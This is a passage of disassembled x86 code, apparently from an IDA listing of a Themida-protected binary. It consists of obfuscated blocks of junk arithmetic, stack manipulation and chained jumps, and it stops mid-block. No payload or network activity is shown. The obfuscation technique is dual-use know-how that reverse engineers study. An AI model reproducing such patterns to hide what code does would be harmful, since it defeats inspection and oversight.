; ---------------------------------------------------------------------------


loc_55F233:				; CODE XREF: Themida_:0055EE7Aj
		xchg	esi, ecx
		jmp	loc_55FD33
; ---------------------------------------------------------------------------


loc_55F23A:				; CODE XREF: Themida_:00563EE3j
		sub	ax, di
		pop	edi
		mov	si, [esp]
		add	esp, 2
		sub	esp, 4
		jmp	loc_567BA8
; ---------------------------------------------------------------------------


loc_55F250:				; CODE XREF: Themida_:0056F17Fj
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_569F5A
; ---------------------------------------------------------------------------


loc_55F262:				; CODE XREF: Themida_:0055DDC0j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	eax, edi
		jmp	loc_56A076
; ---------------------------------------------------------------------------


loc_55F272:				; CODE XREF: Themida_:005607A8j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_564133
; ---------------------------------------------------------------------------


loc_55F281:				; CODE XREF: Themida_:0056AD3Aj
		mov	bl, 3Eh
		shr	bl, 1
		or	bl, 97h
		xor	bl, 12h
		shr	bl, 7
		add	bl, 99h
		sub	ah, bl
		pop	ebx
		mov	cl, 0ACh
		sub	cl, 0F4h
		jmp	loc_56E620
; ---------------------------------------------------------------------------


loc_55F29E:				; CODE XREF: Themida_:0056B73Cj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 6879111Fh
		or	ebp, 5AB17E23h
		jmp	loc_55D760
; ---------------------------------------------------------------------------


loc_55F2C4:				; CODE XREF: Themida_:00561F65j
		push	60980876h
		jmp	loc_56AA31
; ---------------------------------------------------------------------------


loc_55F2CE:				; CODE XREF: Themida_:005694C2j
		add	esp, 4
		dec	ebx
		shl	ebx, 5
		add	ebx, 4DEB595h
		add	edx, ebx
		pop	ebx
		jmp	loc_55E3C6
; ---------------------------------------------------------------------------
		dw 2489h
		dd 4EC8324h, 0E9242C89h, 0D90Ah
; ---------------------------------------------------------------------------


loc_55F2F4:				; CODE XREF: Themida_:00568F08j
		neg	ecx
		shr	ecx, 7
		inc	ecx
		add	ecx, 0DECC474Eh
		jmp	loc_5656C0
; ---------------------------------------------------------------------------


loc_55F305:				; CODE XREF: Themida_:00567AD5j
		xchg	edx, [esp]
		jmp	loc_55D9C6
; ---------------------------------------------------------------------------


loc_55F30D:				; CODE XREF: Themida_:00560E3Dj
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		jmp	loc_562108
; ---------------------------------------------------------------------------


loc_55F319:				; CODE XREF: Themida_:0056A9A7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_565239
; ---------------------------------------------------------------------------


loc_55F338:				; CODE XREF: Themida_:0056BEB7j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	76A814F0h
		pop	edi
		jmp	loc_56D4DA
; ---------------------------------------------------------------------------


loc_55F34B:				; CODE XREF: Themida_:0056745Fj
		pop	eax
		push	eax
		jmp	loc_570D06
; ---------------------------------------------------------------------------


loc_55F352:				; CODE XREF: Themida_:00561E5Fj
		mov	eax, 9AFB9AE4h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 58D62716h
		jmp	loc_569646
; ---------------------------------------------------------------------------


loc_55F36E:				; CODE XREF: Themida_:005670ACj
		add	eax, 4A9527BBh
		sub	eax, 74131809h
		jmp	loc_560402
; ---------------------------------------------------------------------------


loc_55F37D:				; CODE XREF: Themida_:005729ACj
		push	esi
		push	325h
		mov	[esp], edi
		jmp	loc_56637A
; ---------------------------------------------------------------------------


loc_55F38B:				; CODE XREF: Themida_:0056F66Aj
		add	esi, edi
		pop	edi
		xor	esi, 236E6FB9h
		add	edx, esi
		pop	esi
		jmp	loc_566547
; ---------------------------------------------------------------------------


loc_55F39C:				; CODE XREF: Themida_:005700BCj
		add	esi, 0E7496F7Ah
		sub	edi, esi
		pop	esi
		push	eax
		push	127E3A6Bh
		pop	eax
		xor	eax, 72A327B2h
		sub	edi, eax
		jmp	loc_56E797
; ---------------------------------------------------------------------------


loc_55F3B8:				; CODE XREF: Themida_:00572763j
		mov	eax, 5607A40h
		jmp	loc_564027
; ---------------------------------------------------------------------------


loc_55F3C2:				; CODE XREF: Themida_:0055D60Cj
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_562CDA
; ---------------------------------------------------------------------------


loc_55F3D1:				; CODE XREF: Themida_:0056B081j
		pop	edi
		jmp	loc_565A5C
; ---------------------------------------------------------------------------


loc_55F3D7:				; CODE XREF: Themida_:00569C01j
		push	eax
		jmp	loc_55EB12
; ---------------------------------------------------------------------------


loc_55F3DD:				; CODE XREF: Themida_:0056BFADj
		add	ebx, 7F8A6F3Fh
		jmp	loc_55DDEB
; ---------------------------------------------------------------------------


loc_55F3E8:				; CODE XREF: Themida_:0056DF06j
		pop	ebp
		push	edx
		mov	edx, 6E857541h
		and	edx, 4EE44DDDh
		shl	edx, 6
		jmp	loc_56F56F
; ---------------------------------------------------------------------------


loc_55F3FD:				; CODE XREF: Themida_:00563F94j
		add	esp, 4
		push	2862h
		jmp	loc_56215F
; ---------------------------------------------------------------------------


loc_55F40A:				; CODE XREF: Themida_:0055EFBCj
		not	esi
		xor	esi, 0F0002465h
		mov	edi, esi
		pop	esi
		jmp	loc_55D5DE
; ---------------------------------------------------------------------------


loc_55F41A:				; CODE XREF: Themida_:00570E71j
		add	ebx, eax
		pop	eax
		jmp	loc_55FC13
; ---------------------------------------------------------------------------


loc_55F422:				; CODE XREF: Themida_:0056B156j
		mov	[esp], ebx
		mov	bh, 7Dh
		push	433Ah
		mov	[esp], eax
		mov	ah, bh
		jmp	loc_56CAC1
; ---------------------------------------------------------------------------


loc_55F436:				; CODE XREF: Themida_:00560CECj
		sub	eax, 2DB044C6h
		add	eax, 20AD30ECh
		add	eax, ecx
		sub	eax, 20AD30ECh
		add	eax, 2DB044C6h
		pop	ecx
		xor	eax, [esp]
		jmp	loc_5728D5
; ---------------------------------------------------------------------------


loc_55F455:				; CODE XREF: Themida_:0055D3ACj
		add	esp, 4
		add	esp, 4
		push	64EAh
		mov	[esp], ebx
		push	ax
		push	edx
		push	ecx
		jmp	loc_55EB4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_55F46F:				; CODE XREF: sub_59DB3D-40847j
		add	edi, 4
		jmp	loc_570B64
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_55F47A:				; CODE XREF: Themida_:00563E45j
		push	ebx
		sub	esp, 4
		jmp	loc_56080E
; ---------------------------------------------------------------------------


loc_55F486:				; CODE XREF: Themida_:00567994j
		push	ebx
		jmp	loc_572302
; ---------------------------------------------------------------------------


loc_55F48C:				; CODE XREF: Themida_:00565DCDj
		push	4F947BBAh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 5
		xor	ebx, 0F5374366h
		mov	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 14780286h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1A314554h
		push	ebx
		mov	ebx, 0EAC11924h
		add	esi, ebx
		pop	ebx
		add	ebx, 632D725Ch
		sub	ebx, esi
		jmp	loc_56EC66
; ---------------------------------------------------------------------------


loc_55F4D8:				; CODE XREF: Themida_:0056C393j
		add	edx, 49330072h
		and	edx, 3D39455Eh
		jmp	loc_57290A
; ---------------------------------------------------------------------------


loc_55F4E9:				; CODE XREF: Themida_:005686E9j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_56100C
; ---------------------------------------------------------------------------


loc_55F4F5:				; CODE XREF: Themida_:0055F932j
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 624F644Ch
		jmp	loc_56FC79
; ---------------------------------------------------------------------------


loc_55F503:				; CODE XREF: Themida_:005632C6j
		add	ebx, eax
		pop	eax
		push	eax
		push	ebx
		jmp	loc_56C205
; ---------------------------------------------------------------------------


loc_55F50D:				; CODE XREF: Themida_:0056377Cj
		push	edx
		jmp	loc_562BAC
; ---------------------------------------------------------------------------


loc_55F513:				; CODE XREF: Themida_:00571AF9j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 42657ECDh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 37DE6718h
		push	ebp
		mov	ebp, 24C3031Fh
		or	ebx, ebp
		pop	ebp
		xor	ebx, 79A563FEh
		dec	ebx
		add	ebx, 0BC91250Fh
		sub	edx, ebx
		jmp	loc_56387C
; ---------------------------------------------------------------------------


loc_55F54B:				; CODE XREF: Themida_:0056B3F4j
		push	esp
		jmp	loc_56E618
; ---------------------------------------------------------------------------


loc_55F551:				; CODE XREF: Themida_:0056FD55j
		mov	dl, ah
		push	eax
		mov	ah, dl
		sub	esp, 4
		jmp	loc_5689AD
; ---------------------------------------------------------------------------


loc_55F561:				; CODE XREF: Themida_:005636E6j
		push	eax
		mov	ah, 0B2h
		xor	ah, 0DFh
		mov	ch, ah
		pop	eax
		sub	bl, ch
		pop	cx
		jmp	loc_564F21
; ---------------------------------------------------------------------------


loc_55F573:				; CODE XREF: Themida_:0056E7BCj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5621B7
; ---------------------------------------------------------------------------


loc_55F57F:				; CODE XREF: Themida_:00571CFEj
		neg	edx
		sub	edx, 0B0A49B4h
		mov	edi, edx
		pop	edx
		jmp	loc_56BE49
; ---------------------------------------------------------------------------


loc_55F58F:				; CODE XREF: Themida_:0057112Fj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_56B52B
; ---------------------------------------------------------------------------


loc_55F5A6:				; CODE XREF: Themida_:005700F0j
		add	al, dh
		pop	dx
		jmp	loc_55E403
; ---------------------------------------------------------------------------


loc_55F5AF:				; CODE XREF: Themida_:0056A244j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_56F980
; ---------------------------------------------------------------------------


loc_55F5C2:				; CODE XREF: Themida_:0056B946j
		mov	[esp], esi
		mov	esi, 26B8635Bh
		xor	eax, esi
		pop	esi
		sub	eax, 50704561h
		sub	eax, 44432B59h
		add	eax, edi
		push	edi
		jmp	loc_56BA56
; ---------------------------------------------------------------------------


loc_55F5DF:				; CODE XREF: Themida_:00565D1Ej
		and	al, bh
		jmp	loc_560A6B
; ---------------------------------------------------------------------------


loc_55F5E6:				; CODE XREF: Themida_:0055E2F6j
		sub	esi, 4
		jmp	loc_56D51E
; ---------------------------------------------------------------------------


loc_55F5F1:				; CODE XREF: Themida_:00571C3Ej
		mov	ebx, 29E90925h
		not	ebx
		shl	ebx, 3
		dec	ebx
		jmp	loc_5719E6
; ---------------------------------------------------------------------------


loc_55F601:				; CODE XREF: Themida_:0055F6C5j
		pop	ebx
		push	ecx
		jmp	loc_56CE47
; ---------------------------------------------------------------------------


loc_55F608:				; CODE XREF: Themida_:0056C15Ej
		pop	ecx
		jmp	loc_56D121
; ---------------------------------------------------------------------------


loc_55F60E:				; CODE XREF: Themida_:00572905j
		mov	esi, 0D1DDFC80h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_55F6E7
; ---------------------------------------------------------------------------


loc_55F61D:				; CODE XREF: Themida_:0055DEDEj
		add	edx, ebp
		pop	ebp
		push	5F41h
		mov	[esp], edi
		mov	edi, 2
		add	edx, edi
		mov	edi, [esp]
		push	edx
		jmp	loc_56EBB5
; ---------------------------------------------------------------------------


loc_55F638:				; CODE XREF: Themida_:0056378Aj
		add	esp, 4
		sub	dword ptr [esp+4], 59FF69A1h
		add	dword ptr [esp+4], 5EF37C5Dh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 5EF37C5Dh
		add	dword ptr [esp+4], 59FF69A1h
		pop	eax
		mov	eax, [esp]
		jmp	loc_57008E
; ---------------------------------------------------------------------------


loc_55F66B:				; CODE XREF: Themida_:00572A4Bj
		push	edx
		jmp	loc_567CDA
; ---------------------------------------------------------------------------


loc_55F671:				; CODE XREF: Themida_:005634C4j
		push	edx
		mov	edx, 1BAD00F3h
		sub	ebx, edx
		pop	edx
		xor	ebx, 77FA189Fh
		push	7295h
		mov	[esp], edi
		mov	edi, 0F27F52A5h
		xor	ebx, edi
		pop	edi
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_55DA3D
; ---------------------------------------------------------------------------


loc_55F69A:				; CODE XREF: Themida_:00571C56j
		add	bl, 0C3h
		push	ecx
		mov	ch, 0E1h
		add	bl, ch
		jmp	loc_566DD4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_568C6B
; ---------------------------------------------------------------------------


loc_55F6B5:				; CODE XREF: Themida_:005654C0j
		xor	edi, [esp]
		jmp	loc_568A2E
; ---------------------------------------------------------------------------


loc_55F6BD:				; CODE XREF: Themida_:00562A7Fj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_55F601
; ---------------------------------------------------------------------------


loc_55F6CA:				; CODE XREF: Themida_:00561483j
		mov	ebp, eax
		pop	eax
		jmp	loc_56A3B7
; ---------------------------------------------------------------------------


loc_55F6D2:				; CODE XREF: Themida_:0056AEC3j
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 679E2BFDh
		add	eax, 9861D407h
		jmp	loc_564556
; ---------------------------------------------------------------------------


loc_55F6E7:				; CODE XREF: Themida_:0055F618j
		add	esp, 4
		sub	eax, 562D1357h
		add	eax, edi
		add	eax, 562D1357h
		pop	edi
		add	eax, esi
		sub	eax, 2FA57B1Ch
		push	ebx
		mov	ebx, 7381A14h
		jmp	loc_55ED8A
; ---------------------------------------------------------------------------


loc_55F709:				; CODE XREF: Themida_:005658A2j
		add	esp, 4
		push	3FA4h
		jmp	loc_570FA6
; ---------------------------------------------------------------------------


loc_55F716:				; CODE XREF: Themida_:0056AAECj
		add	ebx, eax
		pop	eax
		add	ebx, edi
		jmp	loc_571748
; ---------------------------------------------------------------------------


loc_55F720:				; CODE XREF: Themida_:0055FA03j
		and	esi, 1DE90296h
		or	esi, 238D207Eh
		add	esi, 0DC72DD06h
		add	ebx, esi
		jmp	loc_5615B3
; ---------------------------------------------------------------------------


loc_55F739:				; CODE XREF: Themida_:00560F06j
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 201C18E0h
		shr	ecx, 8
		add	ecx, 23AB1F9Fh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	eax
		jmp	loc_56831E
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 494B5161h
		sub	edx, 1
		xchg	edi, edx
		xchg	ecx, edi
		not	ecx
		jmp	loc_56F357
; ---------------------------------------------------------------------------


loc_55F77C:				; CODE XREF: Themida_:0056582Fj
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_572773
; ---------------------------------------------------------------------------


loc_55F788:				; CODE XREF: Themida_:0056A801j
		push	ebp
		mov	ebp, 74857B8Fh
		jmp	loc_56C1E0
; ---------------------------------------------------------------------------


loc_55F793:				; CODE XREF: Themida_:00564564j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, 2EC36A97h
		add	ecx, 5FE15F1Eh
		add	ecx, edi
		sub	ecx, 5FE15F1Eh
		jmp	loc_56633E
; ---------------------------------------------------------------------------


loc_55F7C8:				; CODE XREF: Themida_:0056EF22j
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 44F36653h
		add	[esp+4], ebp
		pop	ebp
		add	dword ptr [esp], 0F283187h
		add	dword ptr [esp], 72AE0997h
		add	[esp], eax
		push	esi
		mov	esi, 72AE0997h
		sub	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57249E
; ---------------------------------------------------------------------------


loc_55F820:				; CODE XREF: Themida_:00568A31j
		xor	edi, [esp]
		jmp	loc_57187A
; ---------------------------------------------------------------------------


loc_55F828:				; CODE XREF: Themida_:00568240j
		sub	ax, bx
		sub	ax, 2510h
		mov	bx, [esp]
		add	esp, 2
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D843
; ---------------------------------------------------------------------------


loc_55F856:				; CODE XREF: Themida_:0056C33Ej
		push	ebp
		mov	ebp, 4AF0466Fh
		jmp	loc_568584
; ---------------------------------------------------------------------------


loc_55F861:				; CODE XREF: Themida_:00562518j
		push	ebx
		push	edx
		jmp	loc_564F60
; ---------------------------------------------------------------------------


loc_55F868:				; CODE XREF: Themida_:0056723Dj
		sub	ebx, 4
		jmp	loc_564307
; ---------------------------------------------------------------------------


loc_55F870:				; CODE XREF: Themida_:0056774Cj
		xor	esi, 830B9D15h
		mov	ebx, esi
		pop	esi
		jmp	loc_56C8F9
; ---------------------------------------------------------------------------


loc_55F87E:				; CODE XREF: Themida_:00564508j
		push	edi
		mov	edi, 28BD6708h
		not	edi
		not	edi
		sub	edi, 0D6DF9F33h
		jmp	loc_565486
; ---------------------------------------------------------------------------


loc_55F893:				; CODE XREF: Themida_:00560EF5j
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 9D9EAC9Dh
		jmp	loc_5640D0
; ---------------------------------------------------------------------------


loc_55F8A4:				; CODE XREF: Themida_:00568B90j
		sub	ebx, 20BE4E5Eh
		jmp	loc_570586
; ---------------------------------------------------------------------------


loc_55F8AF:				; CODE XREF: Themida_:0056C135j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55F8BA:				; CODE XREF: Themida_:0056E9CBj
		xor	eax, 10886h
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	39BEh
		jmp	loc_571004
; ---------------------------------------------------------------------------


loc_55F8D5:				; CODE XREF: Themida_:00572AA5j
		sub	edi, ebx
		add	edi, 41472010h
		jmp	loc_55E7D9
; ---------------------------------------------------------------------------


loc_55F8E2:				; CODE XREF: Themida_:0055E4EEj
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 7A201728h
		jmp	loc_56BFFC
; ---------------------------------------------------------------------------


loc_55F8F4:				; CODE XREF: Themida_:005682DEj
		pop	ecx
		jmp	loc_55F16E
; ---------------------------------------------------------------------------


loc_55F8FA:				; CODE XREF: Themida_:0056E303j
		shr	cl, 6
		sub	cl, 16h
		shl	cl, 5
		shl	cl, 6
		push	bx
		push	edx
		mov	dh, cl
		mov	bh, dh
		pop	edx
		not	bh
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, bh
		jmp	loc_56E603
; ---------------------------------------------------------------------------


loc_55F91E:				; CODE XREF: Themida_:005725CDj
		pop	eax
		or	ebp, 550314B2h
		push	356Fh
		mov	[esp], ecx
		mov	ecx, 3F903986h
		jmp	loc_55F4F5
; ---------------------------------------------------------------------------


loc_55F937:				; CODE XREF: Themida_:0056C5F7j
		sub	eax, esi
		jmp	loc_56E89E
; ---------------------------------------------------------------------------


loc_55F93E:				; CODE XREF: Themida_:005674CCj
		pop	ebp
		push	esi
		jmp	loc_56AE20
; ---------------------------------------------------------------------------


loc_55F945:				; CODE XREF: Themida_:00565AA8j
		mov	[esp], ecx
		mov	cl, 2Fh
		add	cl, 79h
		jmp	loc_56F6F8
; ---------------------------------------------------------------------------


loc_55F952:				; CODE XREF: Themida_:00565BEBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55F95E:				; CODE XREF: Themida_:00567E11j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562D1A
; ---------------------------------------------------------------------------


loc_55F972:				; CODE XREF: Themida_:00562832j
		xor	edx, 97F88626h
		push	64EDh
		mov	[esp], edi
		mov	edi, edx
		mov	ecx, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 11E6A489h
		sub	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_56C893
; ---------------------------------------------------------------------------


loc_55F99A:				; CODE XREF: Themida_:0055FF7Ej
		add	edx, 4
		push	4578h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56C62B
; ---------------------------------------------------------------------------


loc_55F9B2:				; CODE XREF: Themida_:00568287j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56050E
; ---------------------------------------------------------------------------


loc_55F9C0:				; CODE XREF: Themida_:0056B9FAj
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	edx, 22E93CD9h
		add	edx, edi
		sub	edx, 22E93CD9h
		jmp	loc_567CC2
; ---------------------------------------------------------------------------


loc_55F9EC:				; CODE XREF: Themida_:00568AE8j
		pop	ebp
		jmp	loc_56CE5E
; ---------------------------------------------------------------------------


loc_55F9F2:				; CODE XREF: Themida_:0056185Cj
		push	ebp
		mov	ebp, 824BBF93h
		mov	edx, ebp
		pop	ebp
		mov	ebp, edx
		jmp	loc_57089C
; ---------------------------------------------------------------------------


loc_55FA02:				; CODE XREF: Themida_:00561C54j
		dec	esi
		jmp	loc_55F720
; ---------------------------------------------------------------------------


loc_55FA08:				; CODE XREF: Themida_:00567E65j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	1D051F91h
		pop	ebx
		push	ebp
		mov	ebp, 0C692F69h
		and	ebp, 1E6B2A33h
		xor	ebp, 1B4456A9h
		push	edi
		mov	edi, 740B2354h
		or	ebp, edi
		pop	edi
		push	ecx
		jmp	loc_56FA2D
; ---------------------------------------------------------------------------


loc_55FA42:				; CODE XREF: Themida_:00566C80j
		push	dword ptr [edi+eax*4]
		push	eax
		push	37C6h
		mov	[esp], edi
		mov	edi, 125E1FDBh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 113924ABh
		jmp	loc_572803
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_569733
; ---------------------------------------------------------------------------


loc_55FA6C:				; CODE XREF: Themida_:00567534j
		sub	esi, eax
		pop	eax
		jmp	loc_55E921
; ---------------------------------------------------------------------------


loc_55FA74:				; CODE XREF: Themida_:00567AC4j
		xor	edx, [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_5721B8
; ---------------------------------------------------------------------------


loc_55FA8A:				; CODE XREF: Themida_:0056664Bj
		mov	ebx, 1D74EE7h
		sub	esi, 6EC56333h
		add	esi, ebx
		add	esi, 6EC56333h
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 4CB21933h
		jmp	loc_570918
; ---------------------------------------------------------------------------


loc_55FAAA:				; CODE XREF: Themida_:0056EF3Aj
		shl	edi, 2
		add	edi, 459014E0h
		or	edi, 5683CD3h
		jmp	loc_56A539
; ---------------------------------------------------------------------------


loc_55FABE:				; CODE XREF: Themida_:0056059Bj
		pop	ebp
		sub	esp, 4
		jmp	loc_5652BB
; ---------------------------------------------------------------------------


loc_55FACA:				; CODE XREF: Themida_:0056B3C1j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55FACF:				; CODE XREF: Themida_:0056875Dj
		mov	ebx, 1E296B0Dh
		or	ebx, 1BD06C07h
		not	ebx
		neg	ebx
		shr	ebx, 7
		not	ebx
		xor	ebx, 0B561B5Fh
		add	esi, ebx
		pop	ebx
		sub	ecx, esi
		pop	esi
		push	5473h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4B332CFCh
		shr	ecx, 7
		add	ecx, 0FF6999ABh
		add	edi, ecx
		jmp	loc_570BB5
; ---------------------------------------------------------------------------


loc_55FB1D:				; CODE XREF: Themida_:0056FF25j
		push	1D2B01C9h
		pop	edx
		xor	edx, 6A9667Dh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0E683D22h
		sub	edx, esi
		pop	esi
		jmp	loc_561E27
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55FB4E:				; CODE XREF: Themida_:00567D57j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55D413
; ---------------------------------------------------------------------------


loc_55FB5A:				; CODE XREF: Themida_:0056A7FAj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5711BA
; ---------------------------------------------------------------------------


loc_55FB63:				; CODE XREF: Themida_:0056727Dj
		shl	ebp, 8
		shr	ebp, 6
		push	eax
		mov	eax, 50C348F2h
		push	edi
		mov	edi, 247C092Dh
		jmp	loc_5609F7
; ---------------------------------------------------------------------------


loc_55FB7A:				; CODE XREF: Themida_:00561982j
		neg	bl
		add	bl, 4Dh
		xor	bl, 42h
		and	bl, 0A8h
		add	bl, 0E6h
		sub	ch, bl
		jmp	loc_572400
; ---------------------------------------------------------------------------


loc_55FB8F:				; CODE XREF: Themida_:0055DD14j
		xchg	esi, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55FB9E:				; CODE XREF: Themida_:005677B4j
		pop	esi
		jmp	loc_56B4AE
; ---------------------------------------------------------------------------


loc_55FBA4:				; CODE XREF: Themida_:005644C8j
		mov	ecx, 0FA7FEF70h
		add	ebx, ecx
		pop	ecx
		sub	ecx, 68102EA1h
		add	ecx, ebx
		push	edi
		jmp	loc_5613A8
; ---------------------------------------------------------------------------


loc_55FBBA:				; CODE XREF: Themida_:0056E1B3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, 47893CCFh
		jmp	loc_5638C3
; ---------------------------------------------------------------------------


loc_55FBD8:				; CODE XREF: Themida_:00562641j
		xor	esi, ebp
		pop	ebp
		shl	esi, 4
		or	esi, 64185614h
		jmp	loc_564679
; ---------------------------------------------------------------------------


loc_55FBE9:				; CODE XREF: Themida_:0056E4B8j
		mov	ecx, 4763298Dh
		xor	ecx, 679C4CD5h
		mov	edi, ecx
		jmp	loc_5680E2
; ---------------------------------------------------------------------------


loc_55FBFB:				; CODE XREF: Themida_:0056451Ej
		inc	edi
		jmp	loc_5662B6
; ---------------------------------------------------------------------------


loc_55FC01:				; CODE XREF: Themida_:00570F05j
		push	eax
		jmp	loc_56F85C
; ---------------------------------------------------------------------------


loc_55FC07:				; CODE XREF: Themida_:00568259j
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_563694
; ---------------------------------------------------------------------------


loc_55FC13:				; CODE XREF: Themida_:0055F41Dj
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_56355A
; ---------------------------------------------------------------------------


loc_55FC29:				; CODE XREF: Themida_:005666E4j
		mov	ebp, 52665AE7h
		shl	ebp, 1
		sub	ebp, 405E0636h
		neg	ebp
		inc	ebp
		sub	ebp, 7A6711D6h
		jmp	loc_562841
; ---------------------------------------------------------------------------


loc_55FC44:				; CODE XREF: Themida_:00571ACBj
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 0
		push	ebp
		mov	ebp, 92346D6h
		neg	ebp
		add	ebp, 31266923h
		add	ebp, 0F1DC48ADh
		add	eax, ebp
		jmp	loc_56FD27
; ---------------------------------------------------------------------------


loc_55FC6A:				; CODE XREF: Themida_:005682EDj
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	eax
		push	24D6h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 7B9872F0h
		mov	ecx, 7B9872F4h
		add	ecx, 58504282h
		sub	ecx, ebp
		sub	ecx, 58504282h
		pop	ebp
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_560975
; ---------------------------------------------------------------------------


loc_55FCB5:				; CODE XREF: Themida_:005675D5j
		mov	[esp], ebx
		mov	ebx, 363B02E2h
		mov	eax, ebx
		pop	ebx
		xor	eax, 7CD54AABh
		jmp	loc_5696A9
; ---------------------------------------------------------------------------


loc_55FCCA:				; CODE XREF: Themida_:0056B5D7j
		push	7027h
		mov	[esp], esi
		mov	esi, 4E0D3DCBh
		jmp	loc_55D4B0
; ---------------------------------------------------------------------------


loc_55FCDC:				; CODE XREF: Themida_:005717DBj
		add	esi, 36A2957h
		sub	esi, 1F8A832Fh
		add	edi, esi
		pop	esi
